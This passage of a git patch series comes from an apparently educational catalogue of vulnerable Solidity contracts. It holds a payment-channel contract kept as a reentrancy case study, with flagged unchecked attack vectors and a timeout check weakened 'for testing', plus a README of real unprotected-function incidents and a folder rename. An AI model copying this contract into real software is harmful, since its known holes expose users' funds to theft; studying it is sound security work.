Channels[_lcID].erc20Balances[0]),"CreateChannel: token transfer failure"); + } + + emit DidLCClose(_lcID, 0, Channels[_lcID].ethBalances[0], Channels[_lcID].erc20Balances[0], 0, 0); + + // only safe to delete since no action was taken on this channel + delete Channels[_lcID]; + } + + function joinChannel(bytes32 _lcID, uint256[2] _balances) public payable { + // require the channel is not open yet + require(Channels[_lcID].isOpen == false); + require(msg.sender == Channels[_lcID].partyAddresses[1]); + + if(_balances[0] != 0) { + require(msg.value == _balances[0], "state balance does not match sent value"); + Channels[_lcID].ethBalances[1] = msg.value; + } + if(_balances[1] != 0) { + require(Channels[_lcID].token.transferFrom(msg.sender, this, _balances[1]),"joinChannel: token transfer failure"); + Channels[_lcID].erc20Balances[1] = _balances[1]; + } + + Channels[_lcID].initialDeposit[0]+=_balances[0]; + Channels[_lcID].initialDeposit[1]+=_balances[1]; + // no longer allow joining functions to be called + Channels[_lcID].isOpen = true; + numChannels++; + + emit DidLCJoin(_lcID, _balances[0], _balances[1]); + } + + + // additive updates of monetary state + // TODO check this for attack vectors + function deposit(bytes32 _lcID, address recipient, uint256 _balance, bool isToken) public payable { + require(Channels[_lcID].isOpen == true, "Tried adding funds to a closed channel"); + require(recipient == Channels[_lcID].partyAddresses[0] || recipient == Channels[_lcID].partyAddresses[1]); + + //if(Channels[_lcID].token) + + if (Channels[_lcID].partyAddresses[0] == recipient) { + if(isToken) { + require(Channels[_lcID].token.transferFrom(msg.sender, this, _balance),"deposit: token transfer failure"); + Channels[_lcID].erc20Balances[2] += _balance; + } else { + require(msg.value == _balance, "state balance does not match sent value"); + Channels[_lcID].ethBalances[2] += msg.value; + } + } + + if (Channels[_lcID].partyAddresses[1] == recipient) { + if(isToken) { + require(Channels[_lcID].token.transferFrom(msg.sender, this, _balance),"deposit: token transfer failure"); + Channels[_lcID].erc20Balances[3] += _balance; + } else { + require(msg.value == _balance, "state balance does not match sent value"); + Channels[_lcID].ethBalances[3] += msg.value; + } + } + + emit DidLCDeposit(_lcID, recipient, _balance, isToken); + } + + // TODO: Check there are no open virtual channels, the client should have cought this before signing a close LC state update + function consensusCloseChannel( + bytes32 _lcID, + uint256 _sequence, + uint256[4] _balances, // 0: ethBalanceA 1:ethBalanceI 2:tokenBalanceA 3:tokenBalanceI + string _sigA, + string _sigI + ) + public + { + // assume num open vc is 0 and root hash is 0x0 + //require(Channels[_lcID].sequence < _sequence); + require(Channels[_lcID].isOpen == true); + uint256 totalEthDeposit = Channels[_lcID].initialDeposit[0] + Channels[_lcID].ethBalances[2] + Channels[_lcID].ethBalances[3]; + uint256 totalTokenDeposit = Channels[_lcID].initialDeposit[1] + Channels[_lcID].erc20Balances[2] + Channels[_lcID].erc20Balances[3]; + require(totalEthDeposit == _balances[0] + _balances[1]); + require(totalTokenDeposit == _balances[2] + _balances[3]); + + bytes32 _state = keccak256( + abi.encodePacked( + _lcID, + true, + _sequence, + uint256(0), + bytes32(0x0), + Channels[_lcID].partyAddresses[0], + Channels[_lcID].partyAddresses[1], + _balances[0], + _balances[1], + _balances[2], + _balances[3] + ) + ); + + require(Channels[_lcID].partyAddresses[0] == ECTools.recoverSigner(_state, _sigA)); + require(Channels[_lcID].partyAddresses[1] == ECTools.recoverSigner(_state, _sigI)); + + Channels[_lcID].isOpen = false; + + if(_balances[0] != 0 || _balances[1] != 0) { + Channels[_lcID].partyAddresses[0].transfer(_balances[0]); + Channels[_lcID].partyAddresses[1].transfer(_balances[1]); + } + + if(_balances[2] != 0 || _balances[3] != 0) { + require(Channels[_lcID].token.transfer(Channels[_lcID].partyAddresses[0], _balances[2]),"happyCloseChannel: token transfer failure"); + require(Channels[_lcID].token.transfer(Channels[_lcID].partyAddresses[1], _balances[3]),"happyCloseChannel: token transfer failure"); + } + + numChannels--; + + emit DidLCClose(_lcID, _sequence, _balances[0], _balances[1], _balances[2], _balances[3]); + } + + // Byzantine functions + + function updateLCstate( + bytes32 _lcID, + uint256[6] updateParams, // [sequence, numOpenVc, ethbalanceA, ethbalanceI, tokenbalanceA, tokenbalanceI] + bytes32 _VCroot, + string _sigA, + string _sigI + ) + public + { + Channel storage channel = Channels[_lcID]; + require(channel.isOpen); + require(channel.sequence < updateParams[0]); // do same as vc sequence check + require(channel.ethBalances[0] + channel.ethBalances[1] >= updateParams[2] + updateParams[3]); + require(channel.erc20Balances[0] + channel.erc20Balances[1] >= updateParams[4] + updateParams[5]); + + if(channel.isUpdateLCSettling == true) { + require(channel.updateLCtimeout > now); + } + + bytes32 _state = keccak256( + abi.encodePacked( + _lcID, + false, + updateParams[0], + updateParams[1], + _VCroot, + channel.partyAddresses[0], + channel.partyAddresses[1], + updateParams[2], + updateParams[3], + updateParams[4], + updateParams[5] + ) + ); + + require(channel.partyAddresses[0] == ECTools.recoverSigner(_state, _sigA)); + require(channel.partyAddresses[1] == ECTools.recoverSigner(_state, _sigI)); + + // update LC state + channel.sequence = updateParams[0]; + channel.numOpenVC = updateParams[1]; + channel.ethBalances[0] = updateParams[2]; + channel.ethBalances[1] = updateParams[3]; + channel.erc20Balances[0] = updateParams[4]; + channel.erc20Balances[1] = updateParams[5]; + channel.VCrootHash = _VCroot; + channel.isUpdateLCSettling = true; + channel.updateLCtimeout = now + channel.confirmTime; + + // make settlement flag + + emit DidLCUpdateState ( + _lcID, + updateParams[0], + updateParams[1], + updateParams[2], + updateParams[3], + updateParams[4], + updateParams[5], + _VCroot, + channel.updateLCtimeout + ); + } + + // supply initial state of VC to "prime" the force push game + function initVCstate( + bytes32 _lcID, + bytes32 _vcID, + bytes _proof, + address _partyA, + address _partyB, + uint256[2] _bond, + uint256[4] _balances, // 0: ethBalanceA 1:ethBalanceI 2:tokenBalanceA 3:tokenBalanceI + string sigA + ) + public + { + require(Channels[_lcID].isOpen, "LC is closed."); + // sub-channel must be open + require(!virtualChannels[_vcID].isClose, "VC is closed."); + // Check time has passed on updateLCtimeout and has not passed the time to store a vc state + require(Channels[_lcID].updateLCtimeout < now, "LC timeout not over."); + // prevent rentry of initializing vc state + require(virtualChannels[_vcID].updateVCtimeout == 0); + // partyB is now Ingrid + bytes32 _initState = keccak256( + abi.encodePacked(_vcID, uint256(0), _partyA, _partyB, _bond[0], _bond[1], _balances[0], _balances[1], _balances[2], _balances[3]) + ); + + // Make sure Alice has signed initial vc state (A/B in oldState) + require(_partyA == ECTools.recoverSigner(_initState, sigA)); + + // Check the oldState is in the root hash + require(_isContained(_initState, _proof, Channels[_lcID].VCrootHash) == true); + + virtualChannels[_vcID].partyA = _partyA; // VC participant A + virtualChannels[_vcID].partyB = _partyB; // VC participant B + virtualChannels[_vcID].sequence = uint256(0); + virtualChannels[_vcID].ethBalances[0] = _balances[0]; + virtualChannels[_vcID].ethBalances[1] = _balances[1]; + virtualChannels[_vcID].erc20Balances[0] = _balances[2]; + virtualChannels[_vcID].erc20Balances[1] = _balances[3]; + virtualChannels[_vcID].bond = _bond; + virtualChannels[_vcID].updateVCtimeout = now + Channels[_lcID].confirmTime; + virtualChannels[_vcID].isInSettlementState = true; + + emit DidVCInit(_lcID, _vcID, _proof, uint256(0), _partyA, _partyB, _balances[0], _balances[1]); + } + + //TODO: verify state transition since the hub did not agree to this state + // make sure the A/B balances are not beyond ingrids bonds + // Params: vc init state, vc final balance, vcID + function settleVC( + bytes32 _lcID, + bytes32 _vcID, + uint256 updateSeq, + address _partyA, + address _partyB, + uint256[4] updateBal, // [ethupdateBalA, ethupdateBalB, tokenupdateBalA, tokenupdateBalB] + string sigA + ) + public + { + require(Channels[_lcID].isOpen, "LC is closed."); + // sub-channel must be open + require(!virtualChannels[_vcID].isClose, "VC is closed."); + require(virtualChannels[_vcID].sequence < updateSeq, "VC sequence is higher than update sequence."); + require( + virtualChannels[_vcID].ethBalances[1] < updateBal[1] && virtualChannels[_vcID].erc20Balances[1] < updateBal[3], + "State updates may only increase recipient balance." + ); + require( + virtualChannels[_vcID].bond[0] == updateBal[0] + updateBal[1] && + virtualChannels[_vcID].bond[1] == updateBal[2] + updateBal[3], + "Incorrect balances for bonded amount"); + // Check time has passed on updateLCtimeout and has not passed the time to store a vc state + // virtualChannels[_vcID].updateVCtimeout should be 0 on uninitialized vc state, and this should + // fail if initVC() isn't called first + // require(Channels[_lcID].updateLCtimeout < now && now < virtualChannels[_vcID].updateVCtimeout); + require(Channels[_lcID].updateLCtimeout < now); // for testing! + + bytes32 _updateState = keccak256( + abi.encodePacked( + _vcID, + updateSeq, + _partyA, + _partyB, + virtualChannels[_vcID].bond[0], + virtualChannels[_vcID].bond[1], + updateBal[0], + updateBal[1], + updateBal[2], + updateBal[3] + ) + ); + + // Make sure Alice has signed a higher sequence new state + require(virtualChannels[_vcID].partyA == ECTools.recoverSigner(_updateState, sigA)); + + // store VC data + // we may want to record who is initiating on-chain settles + virtualChannels[_vcID].challenger = msg.sender; + virtualChannels[_vcID].sequence = updateSeq; + + // channel state + virtualChannels[_vcID].ethBalances[0] = updateBal[0]; + virtualChannels[_vcID].ethBalances[1] = updateBal[1]; + virtualChannels[_vcID].erc20Balances[0] = updateBal[2]; + virtualChannels[_vcID].erc20Balances[1] = updateBal[3]; + + virtualChannels[_vcID].updateVCtimeout = now + Channels[_lcID].confirmTime; + + emit DidVCSettle(_lcID, _vcID, updateSeq, updateBal[0], updateBal[1], msg.sender, virtualChannels[_vcID].updateVCtimeout); + } + + function closeVirtualChannel(bytes32 _lcID, bytes32 _vcID) public { + // require(updateLCtimeout > now) + require(Channels[_lcID].isOpen, "LC is closed."); + require(virtualChannels[_vcID].isInSettlementState, "VC is not in settlement state."); + require(virtualChannels[_vcID].updateVCtimeout < now, "Update vc timeout has not elapsed."); + require(!virtualChannels[_vcID].isClose, "VC is already closed"); + // reduce the number of open virtual channels stored on LC + Channels[_lcID].numOpenVC--; + // close vc flags + virtualChannels[_vcID].isClose = true; + // re-introduce the balances back into the LC state from the settled VC + // decide if this lc is alice or bob in the vc + if(virtualChannels[_vcID].partyA == Channels[_lcID].partyAddresses[0]) { + Channels[_lcID].ethBalances[0] += virtualChannels[_vcID].ethBalances[0]; + Channels[_lcID].ethBalances[1] += virtualChannels[_vcID].ethBalances[1]; + + Channels[_lcID].erc20Balances[0] += virtualChannels[_vcID].erc20Balances[0]; + Channels[_lcID].erc20Balances[1] += virtualChannels[_vcID].erc20Balances[1]; + } else if (virtualChannels[_vcID].partyB == Channels[_lcID].partyAddresses[0]) { + Channels[_lcID].ethBalances[0] += virtualChannels[_vcID].ethBalances[1]; + Channels[_lcID].ethBalances[1] += virtualChannels[_vcID].ethBalances[0]; + + Channels[_lcID].erc20Balances[0] += virtualChannels[_vcID].erc20Balances[1]; + Channels[_lcID].erc20Balances[1] += virtualChannels[_vcID].erc20Balances[0]; + } + + emit DidVCClose(_lcID, _vcID, virtualChannels[_vcID].erc20Balances[0], virtualChannels[_vcID].erc20Balances[1]); + } + + + // todo: allow ethier lc.end-user to nullify the settled LC state and return to off-chain + function byzantineCloseChannel(bytes32 _lcID) public { + Channel storage channel = Channels[_lcID]; + + // check settlement flag + require(channel.isOpen, "Channel is not open"); + require(channel.isUpdateLCSettling == true); + require(channel.numOpenVC == 0); + require(channel.updateLCtimeout < now, "LC timeout over."); + + // if off chain state update didnt reblance deposits, just return to deposit owner + uint256 totalEthDeposit = channel.initialDeposit[0] + channel.ethBalances[2] + channel.ethBalances[3]; + uint256 totalTokenDeposit = channel.initialDeposit[1] + channel.erc20Balances[2] + channel.erc20Balances[3]; + + uint256 possibleTotalEthBeforeDeposit = channel.ethBalances[0] + channel.ethBalances[1]; + uint256 possibleTotalTokenBeforeDeposit = channel.erc20Balances[0] + channel.erc20Balances[1]; + + if(possibleTotalEthBeforeDeposit < totalEthDeposit) { + channel.ethBalances[0]+=channel.ethBalances[2]; + channel.ethBalances[1]+=channel.ethBalances[3]; + } else { + require(possibleTotalEthBeforeDeposit == totalEthDeposit); + } + + if(possibleTotalTokenBeforeDeposit < totalTokenDeposit) { + channel.erc20Balances[0]+=channel.erc20Balances[2]; + channel.erc20Balances[1]+=channel.erc20Balances[3]; + } else { + require(possibleTotalTokenBeforeDeposit == totalTokenDeposit); + } + + // reentrancy + uint256 ethbalanceA = channel.ethBalances[0]; + uint256 ethbalanceI = channel.ethBalances[1]; + uint256 tokenbalanceA = channel.erc20Balances[0]; + uint256 tokenbalanceI = channel.erc20Balances[1]; + + channel.ethBalances[0] = 0; + channel.ethBalances[1] = 0; + channel.erc20Balances[0] = 0; + channel.erc20Balances[1] = 0; + + if(ethbalanceA != 0 || ethbalanceI != 0) { + channel.partyAddresses[0].transfer(ethbalanceA); + channel.partyAddresses[1].transfer(ethbalanceI); + } + + if(tokenbalanceA != 0 || tokenbalanceI != 0) { + require( + channel.token.transfer(channel.partyAddresses[0], tokenbalanceA), + "byzantineCloseChannel: token transfer failure" + ); + require( + channel.token.transfer(channel.partyAddresses[1], tokenbalanceI), + "byzantineCloseChannel: token transfer failure" + ); + } + + channel.isOpen = false; + numChannels--; + + emit DidLCClose(_lcID, channel.sequence, ethbalanceA, ethbalanceI, tokenbalanceA, tokenbalanceI); + } + + function _isContained(bytes32 _hash, bytes _proof, bytes32 _root) internal pure returns (bool) { + bytes32 cursor = _hash; + bytes32 proofElem; + + for (uint256 i = 64; i <= _proof.length; i += 32) { + assembly { proofElem := mload(add(_proof, i)) } + + if (cursor < proofElem) { + cursor = keccak256(abi.encodePacked(cursor, proofElem)); + } else { + cursor = keccak256(abi.encodePacked(proofElem, cursor)); + } + } + + return cursor == _root; + } + + //Struct Getters + function getChannel(bytes32 id) public view returns ( + address[2], + uint256[4], + uint256[4], + uint256[2], + uint256, + uint256, + bytes32, + uint256, + uint256, + bool, + bool, + uint256 + ) { + Channel memory channel = Channels[id]; + return ( + channel.partyAddresses, + channel.ethBalances, + channel.erc20Balances, + channel.initialDeposit, + channel.sequence, + channel.confirmTime, + channel.VCrootHash, + channel.LCopenTimeout, + channel.updateLCtimeout, + channel.isOpen, + channel.isUpdateLCSettling, + channel.numOpenVC + ); + } + + function getVirtualChannel(bytes32 id) public view returns( + bool, + bool, + uint256, + address, + uint256, + address, + address, + address, + uint256[2], + uint256[2], + uint256[2] + ) { + VirtualChannel memory virtualChannel = virtualChannels[id]; + return( + virtualChannel.isClose, + virtualChannel.isInSettlementState, + virtualChannel.sequence, + virtualChannel.challenger, + virtualChannel.updateVCtimeout, + virtualChannel.partyA, + virtualChannel.partyB, + virtualChannel.partyI, + virtualChannel.ethBalances, + virtualChannel.erc20Balances, + virtualChannel.bond + ); + } +} From d2846dfd52b956d3e65234ecee5c47e6293b6518 Mon Sep 17 00:00:00 2001 From: Taylor Monahan <7924827+tayvano@users.noreply.github.com> Date: Tue, 25 Feb 2020 03:05:30 -0800 Subject: [PATCH 58/73] add more examples --- unprotected_function/README.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/unprotected_function/README.md b/unprotected_function/README.md index be75b45a..b148b40d 100644 --- a/unprotected_function/README.md +++ b/unprotected_function/README.md @@ -12,5 +12,7 @@ Always specify a modifier for functions. ## Examples - An `onlyOwner` modifier is [defined but not used](Unprotected.sol), allowing anyone to become the `owner` -- [Parity Wallet](https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7). For code, see [initWallet](WalletLibrary_source_code/WalletLibrary.sol) - +- April 2016: [Rubixi allows anyone to become owner](https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code) +- July 2017: [Parity Wallet](https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7). For code, see [initWallet](WalletLibrary_source_code/WalletLibrary.sol) +- BitGo Wallet v2 allows anyone to call tryInsertSequenceId. If you try close to MAXINT, no further transactions would be allowed. [Fix: make tryInsertSequenceId private.](https://github.com/BitGo/eth-multisig-v2/commit/8042188f08c879e06f097ae55c140e0aa7baaff8#diff-b498cc6fd64f83803c260abd8de0a8f5) +- Feb 2020: [Nexus Mutual's Oraclize callback was unprotected—allowing anyone to call it.](https://medium.com/nexus-mutual/responsible-vulnerability-disclosure-ece3fe3bcefa) Oraclize triggers a rebalance to occur via Uniswap. From 77a96d37a8900b4769d4cce54aedd26848fc076a Mon Sep 17 00:00:00 2001 From: Nat Chin Date: Tue, 31 May 2022 15:49:22 -0400 Subject: [PATCH 59/73] Update theRun.sol --- bad_randomness/theRun_source_code/theRun.sol | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bad_randomness/theRun_source_code/theRun.sol b/bad_randomness/theRun_source_code/theRun.sol index 4c5b7c72..0a5a96cc 100644 --- a/bad_randomness/theRun_source_code/theRun.sol +++ b/bad_randomness/theRun_source_code/theRun.sol @@ -20,7 +20,7 @@ contract theRun { admin = msg.sender; } - modifier onlyowner {if (msg.sender == admin) _ } + modifier onlyowner {if (msg.sender == admin) _; } struct Player { address addr; @@ -170,4 +170,4 @@ function PayoutQueueSize() constant returns(uint QueueSize) { } -} \ No newline at end of file +} From 821d22df26c83e731362b51185e9a28df3867936 Mon Sep 17 00:00:00 2001 From: bohendo Date: Mon, 3 Oct 2022 17:05:25 -0400 Subject: [PATCH 60/73] mv everything into subfolder --- LICENSE => not-so-smart-contracts/solidity/LICENSE | 0 README.md => not-so-smart-contracts/solidity/README.md | 0 .../solidity/bad_randomness}/README.md | 0 .../solidity/bad_randomness}/theRun_source_code/theRun.sol | 0 .../solidity/denial_of_service}/README.md | 0 .../solidity/denial_of_service}/auction.sol | 0 .../solidity/denial_of_service}/list_dos.sol | 0 .../solidity/forced_ether_reception}/README.md | 0 .../solidity/forced_ether_reception}/coin.sol | 0 .../solidity/honeypots}/GiftBox/GiftBox.sol | 0 .../solidity/honeypots}/GiftBox/README.md | 0 .../solidity/honeypots}/KOTH/KOTH.sol | 0 .../solidity/honeypots}/KOTH/README.md | 0 .../solidity/honeypots}/Lottery/Lottery.sol | 0 .../solidity/honeypots}/Lottery/README.md | 0 .../solidity/honeypots}/Multiplicator/Multiplicator.sol | 0 .../solidity/honeypots}/Multiplicator/README.md | 0 .../solidity/honeypots}/PrivateBank/PrivateBank.sol | 0 .../solidity/honeypots}/PrivateBank/README.md | 0 .../solidity/honeypots}/README.md | 0 .../solidity/honeypots}/VarLoop/README.md | 0 .../solidity/honeypots}/VarLoop/VarLoop.sol | 0 .../solidity/incorrect_interface}/Alice.sol | 0 .../solidity/incorrect_interface}/Bob.sol | 0 .../solidity/incorrect_interface}/README.md | 0 .../solidity/integer_overflow}/README.md | 0 .../solidity/integer_overflow}/integer_overflow_1.sol | 0 .../solidity/race_condition}/README.md | 0 .../solidity/race_condition}/RaceCondition.sol | 0 .../solidity/reentrancy}/DAO_source_code/DAO.sol | 0 .../solidity/reentrancy}/README.md | 0 .../solidity/reentrancy}/Reentrancy.sol | 0 .../solidity/reentrancy}/ReentrancyExploit.sol | 0 .../solidity/reentrancy}/SpankChain_source_code/README.md | 0 .../solidity/reentrancy}/SpankChain_source_code/SpankChain.sol | 0 .../reentrancy}/SpankChain_source_code/SpankChain_Payment.sol | 0 .../KotET_source_code/KingOfTheEtherThrone.sol | 0 .../solidity/unchecked_external_call}/README.md | 0 .../solidity/unprotected_function}/README.md | 0 .../solidity/unprotected_function}/Unprotected.sol | 0 .../WalletLibrary_source_code/WalletLibrary.sol | 0 .../solidity/variable shadowing}/README.md | 0 .../solidity/variable shadowing}/inherited_state.sol | 0 .../solidity/wrong_constructor_name}/README.md | 0 .../wrong_constructor_name}/Rubixi_source_code/Rubixi.sol | 0 .../solidity/wrong_constructor_name}/incorrect_constructor.sol | 0 46 files changed, 0 insertions(+), 0 deletions(-) rename LICENSE => not-so-smart-contracts/solidity/LICENSE (100%) rename README.md => not-so-smart-contracts/solidity/README.md (100%) rename {bad_randomness => not-so-smart-contracts/solidity/bad_randomness}/README.md (100%) rename {bad_randomness => not-so-smart-contracts/solidity/bad_randomness}/theRun_source_code/theRun.sol (100%) rename {denial_of_service => not-so-smart-contracts/solidity/denial_of_service}/README.md (100%) rename {denial_of_service => not-so-smart-contracts/solidity/denial_of_service}/auction.sol (100%) rename {denial_of_service => not-so-smart-contracts/solidity/denial_of_service}/list_dos.sol (100%) rename {forced_ether_reception => not-so-smart-contracts/solidity/forced_ether_reception}/README.md (100%) rename {forced_ether_reception => not-so-smart-contracts/solidity/forced_ether_reception}/coin.sol (100%) rename {honeypots => not-so-smart-contracts/solidity/honeypots}/GiftBox/GiftBox.sol (100%) rename {honeypots => not-so-smart-contracts/solidity/honeypots}/GiftBox/README.md (100%) rename {honeypots => not-so-smart-contracts/solidity/honeypots}/KOTH/KOTH.sol (100%) rename {honeypots => not-so-smart-contracts/solidity/honeypots}/KOTH/README.md (100%) rename {honeypots => not-so-smart-contracts/solidity/honeypots}/Lottery/Lottery.sol (100%) rename {honeypots => not-so-smart-contracts/solidity/honeypots}/Lottery/README.md (100%) rename {honeypots => not-so-smart-contracts/solidity/honeypots}/Multiplicator/Multiplicator.sol (100%) rename {honeypots => not-so-smart-contracts/solidity/honeypots}/Multiplicator/README.md (100%) rename {honeypots => not-so-smart-contracts/solidity/honeypots}/PrivateBank/PrivateBank.sol (100%) rename {honeypots => not-so-smart-contracts/solidity/honeypots}/PrivateBank/README.md (100%) rename {honeypots => not-so-smart-contracts/solidity/honeypots}/README.md (100%) rename {honeypots => not-so-smart-contracts/solidity/honeypots}/VarLoop/README.md (100%) rename {honeypots => not-so-smart-contracts/solidity/honeypots}/VarLoop/VarLoop.sol (100%) rename {incorrect_interface => not-so-smart-contracts/solidity/incorrect_interface}/Alice.sol (100%) rename {incorrect_interface => not-so-smart-contracts/solidity/incorrect_interface}/Bob.sol (100%) rename {incorrect_interface => not-so-smart-contracts/solidity/incorrect_interface}/README.md (100%) rename {integer_overflow => not-so-smart-contracts/solidity/integer_overflow}/README.md (100%) rename {integer_overflow => not-so-smart-contracts/solidity/integer_overflow}/integer_overflow_1.sol (100%) rename {race_condition => not-so-smart-contracts/solidity/race_condition}/README.md (100%) rename {race_condition => not-so-smart-contracts/solidity/race_condition}/RaceCondition.sol (100%) rename {reentrancy => not-so-smart-contracts/solidity/reentrancy}/DAO_source_code/DAO.sol (100%) rename {reentrancy => not-so-smart-contracts/solidity/reentrancy}/README.md (100%) rename {reentrancy => not-so-smart-contracts/solidity/reentrancy}/Reentrancy.sol (100%) rename {reentrancy => not-so-smart-contracts/solidity/reentrancy}/ReentrancyExploit.sol (100%) rename {reentrancy => not-so-smart-contracts/solidity/reentrancy}/SpankChain_source_code/README.md (100%) rename {reentrancy => not-so-smart-contracts/solidity/reentrancy}/SpankChain_source_code/SpankChain.sol (100%) rename {reentrancy => not-so-smart-contracts/solidity/reentrancy}/SpankChain_source_code/SpankChain_Payment.sol (100%) rename {unchecked_external_call => not-so-smart-contracts/solidity/unchecked_external_call}/KotET_source_code/KingOfTheEtherThrone.sol (100%) rename {unchecked_external_call => not-so-smart-contracts/solidity/unchecked_external_call}/README.md (100%) rename {unprotected_function => not-so-smart-contracts/solidity/unprotected_function}/README.md (100%) rename {unprotected_function => not-so-smart-contracts/solidity/unprotected_function}/Unprotected.sol (100%) rename {unprotected_function => not-so-smart-contracts/solidity/unprotected_function}/WalletLibrary_source_code/WalletLibrary.sol (100%) rename {variable shadowing => not-so-smart-contracts/solidity/variable shadowing}/README.md (100%) rename {variable shadowing => not-so-smart-contracts/solidity/variable shadowing}/inherited_state.sol (100%) rename {wrong_constructor_name => not-so-smart-contracts/solidity/wrong_constructor_name}/README.md (100%) rename {wrong_constructor_name => not-so-smart-contracts/solidity/wrong_constructor_name}/Rubixi_source_code/Rubixi.sol (100%) rename {wrong_constructor_name => not-so-smart-contracts/solidity/wrong_constructor_name}/incorrect_constructor.sol (100%) diff --git a/LICENSE b/not-so-smart-contracts/solidity/LICENSE similarity index 100% rename from LICENSE rename to not-so-smart-contracts/solidity/LICENSE diff --git a/README.md b/not-so-smart-contracts/solidity/README.md similarity index 100% rename from README.md rename to not-so-smart-contracts/solidity/README.md diff --git a/bad_randomness/README.md b/not-so-smart-contracts/solidity/bad_randomness/README.md similarity index 100% rename from bad_randomness/README.md rename to not-so-smart-contracts/solidity/bad_randomness/README.md diff --git a/bad_randomness/theRun_source_code/theRun.sol b/not-so-smart-contracts/solidity/bad_randomness/theRun_source_code/theRun.sol similarity index 100% rename from bad_randomness/theRun_source_code/theRun.sol rename to not-so-smart-contracts/solidity/bad_randomness/theRun_source_code/theRun.sol diff --git a/denial_of_service/README.md b/not-so-smart-contracts/solidity/denial_of_service/README.md similarity index 100% rename from denial_of_service/README.md rename to not-so-smart-contracts/solidity/denial_of_service/README.md diff --git a/denial_of_service/auction.sol b/not-so-smart-contracts/solidity/denial_of_service/auction.sol similarity index 100% rename from denial_of_service/auction.sol rename to not-so-smart-contracts/solidity/denial_of_service/auction.sol diff --git a/denial_of_service/list_dos.sol b/not-so-smart-contracts/solidity/denial_of_service/list_dos.sol similarity index 100% rename from denial_of_service/list_dos.sol rename to not-so-smart-contracts/solidity/denial_of_service/list_dos.sol diff --git a/forced_ether_reception/README.md b/not-so-smart-contracts/solidity/forced_ether_reception/README.md similarity index 100% rename from forced_ether_reception/README.md rename to not-so-smart-contracts/solidity/forced_ether_reception/README.md diff --git a/forced_ether_reception/coin.sol b/not-so-smart-contracts/solidity/forced_ether_reception/coin.sol similarity index 100% rename from forced_ether_reception/coin.sol rename to not-so-smart-contracts/solidity/forced_ether_reception/coin.sol diff --git a/honeypots/GiftBox/GiftBox.sol b/not-so-smart-contracts/solidity/honeypots/GiftBox/GiftBox.sol similarity index 100% rename from honeypots/GiftBox/GiftBox.sol rename to not-so-smart-contracts/solidity/honeypots/GiftBox/GiftBox.sol diff --git a/honeypots/GiftBox/README.md b/not-so-smart-contracts/solidity/honeypots/GiftBox/README.md similarity index 100% rename from honeypots/GiftBox/README.md rename to not-so-smart-contracts/solidity/honeypots/GiftBox/README.md diff --git a/honeypots/KOTH/KOTH.sol b/not-so-smart-contracts/solidity/honeypots/KOTH/KOTH.sol similarity index 100% rename from honeypots/KOTH/KOTH.sol rename to not-so-smart-contracts/solidity/honeypots/KOTH/KOTH.sol diff --git a/honeypots/KOTH/README.md b/not-so-smart-contracts/solidity/honeypots/KOTH/README.md similarity index 100% rename from honeypots/KOTH/README.md rename to not-so-smart-contracts/solidity/honeypots/KOTH/README.md diff --git a/honeypots/Lottery/Lottery.sol b/not-so-smart-contracts/solidity/honeypots/Lottery/Lottery.sol similarity index 100% rename from honeypots/Lottery/Lottery.sol rename to not-so-smart-contracts/solidity/honeypots/Lottery/Lottery.sol diff --git a/honeypots/Lottery/README.md b/not-so-smart-contracts/solidity/honeypots/Lottery/README.md similarity index 100% rename from honeypots/Lottery/README.md rename to not-so-smart-contracts/solidity/honeypots/Lottery/README.md diff --git a/honeypots/Multiplicator/Multiplicator.sol b/not-so-smart-contracts/solidity/honeypots/Multiplicator/Multiplicator.sol similarity index 100% rename from honeypots/Multiplicator/Multiplicator.sol rename to not-so-smart-contracts/solidity/honeypots/Multiplicator/Multiplicator.sol diff --git a/honeypots/Multiplicator/README.md b/not-so-smart-contracts/solidity/honeypots/Multiplicator/README.md similarity index 100% rename from honeypots/Multiplicator/README.md rename to not-so-smart-contracts/solidity/honeypots/Multiplicator/README.md diff --git a/honeypots/PrivateBank/PrivateBank.sol b/not-so-smart-contracts/solidity/honeypots/PrivateBank/PrivateBank.sol similarity index 100% rename from honeypots/PrivateBank/PrivateBank.sol rename to not-so-smart-contracts/solidity/honeypots/PrivateBank/PrivateBank.sol diff --git a/honeypots/PrivateBank/README.md b/not-so-smart-contracts/solidity/honeypots/PrivateBank/README.md similarity index 100% rename from honeypots/PrivateBank/README.md rename to not-so-smart-contracts/solidity/honeypots/PrivateBank/README.md diff --git a/honeypots/README.md b/not-so-smart-contracts/solidity/honeypots/README.md similarity index 100% rename from honeypots/README.md rename to not-so-smart-contracts/solidity/honeypots/README.md diff --git a/honeypots/VarLoop/README.md b/not-so-smart-contracts/solidity/honeypots/VarLoop/README.md similarity index 100% rename from honeypots/VarLoop/README.md rename to not-so-smart-contracts/solidity/honeypots/VarLoop/README.md diff --git a/honeypots/VarLoop/VarLoop.sol b/not-so-smart-contracts/solidity/honeypots/VarLoop/VarLoop.sol similarity index 100% rename from honeypots/VarLoop/VarLoop.sol rename to not-so-smart-contracts/solidity/honeypots/VarLoop/VarLoop.sol diff --git a/incorrect_interface/Alice.sol b/not-so-smart-contracts/solidity/incorrect_interface/Alice.sol similarity index 100% rename from incorrect_interface/Alice.sol rename to not-so-smart-contracts/solidity/incorrect_interface/Alice.sol diff --git a/incorrect_interface/Bob.sol b/not-so-smart-contracts/solidity/incorrect_interface/Bob.sol similarity index 100% rename from incorrect_interface/Bob.sol rename to not-so-smart-contracts/solidity/incorrect_interface/Bob.sol diff --git a/incorrect_interface/README.md b/not-so-smart-contracts/solidity/incorrect_interface/README.md similarity index 100% rename from incorrect_interface/README.md rename to not-so-smart-contracts/solidity/incorrect_interface/README.md diff --git a/integer_overflow/README.md b/not-so-smart-contracts/solidity/integer_overflow/README.md similarity index 100% rename from integer_overflow/README.md rename to not-so-smart-contracts/solidity/integer_overflow/README.md diff --git a/integer_overflow/integer_overflow_1.sol b/not-so-smart-contracts/solidity/integer_overflow/integer_overflow_1.sol similarity index 100% rename from integer_overflow/integer_overflow_1.sol rename to not-so-smart-contracts/solidity/integer_overflow/integer_overflow_1.sol diff --git a/race_condition/README.md b/not-so-smart-contracts/solidity/race_condition/README.md similarity index 100% rename from race_condition/README.md rename to not-so-smart-contracts/solidity/race_condition/README.md diff --git a/race_condition/RaceCondition.sol b/not-so-smart-contracts/solidity/race_condition/RaceCondition.sol similarity index 100% rename from 